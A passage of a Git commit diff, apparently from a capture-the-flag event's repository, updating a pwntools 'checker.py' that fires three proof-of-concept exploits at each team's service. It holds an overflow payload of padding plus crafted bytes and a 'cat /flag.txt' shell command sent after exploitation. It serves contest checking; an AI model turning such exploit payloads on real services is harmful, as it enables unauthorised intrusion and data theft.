myitinos 5 лет назад
Родитель
Сommit
bf30b72025
1 измененных файлов: 9 добавлений и 6 удалений
  1. +9
    -6
      checker.py

+ 9
- 6
checker.py Просмотреть файл

@ -2,7 +2,7 @@
from pwn import process, remote
HOST = "192.168.2.20"
TOTAL_TEAMS = 10
TOTAL_TEAMS = 1
FORMAT = "SlashRootCTF"
@ -15,7 +15,9 @@ def poc0(host, port):
p = remote(host, port)
p.recvuntil(">")
p.sendline(("A" * 32) + ("\x11\x11\x11\x11\x11\x11\x11\x11\x01"))
if "young" in p.recvuntil(">"):
msg = p.recvuntil(">")
# print(msg)
if "young" in msg:
p.sendline("y")
p.recvuntil(">")
p.sendline("2")
@ -27,7 +29,8 @@ def poc0(host, port):
p.recvuntil(">")
p.sendline("99")
p.sendline("cat /flag.txt")
flag = p.recv(46)
flag = p.recvuntil("}")
# print flag
if FORMAT in flag:
return True
else:
@ -60,7 +63,7 @@ def poc1(host, port):
p.recvuntil(">")
p.sendline("99")
p.sendline("cat /flag.txt")
flag = p.recv(46)
flag = p.recvuntil("}")
if FORMAT in flag:
return True
else:
@ -85,7 +88,7 @@ def poc2(host, port):
p.recvuntil(">")
p.sendline("99")
p.sendline("cat /flag.txt")
flag = p.recv(46)
flag = p.recvuntil("}")
if FORMAT in flag:
return True
else:
@ -95,7 +98,7 @@ def poc2(host, port):
if __name__ == "__main__":
for i in range(1):
for i in range(1, TOTAL_TEAMS+1):
print poc0(HOST, (60004 + (i*100)))
print poc1(HOST, (60004 + (i*100)))
print poc2(HOST, (60004 + (i*100)))

Загрузка…
Отмена
Сохранить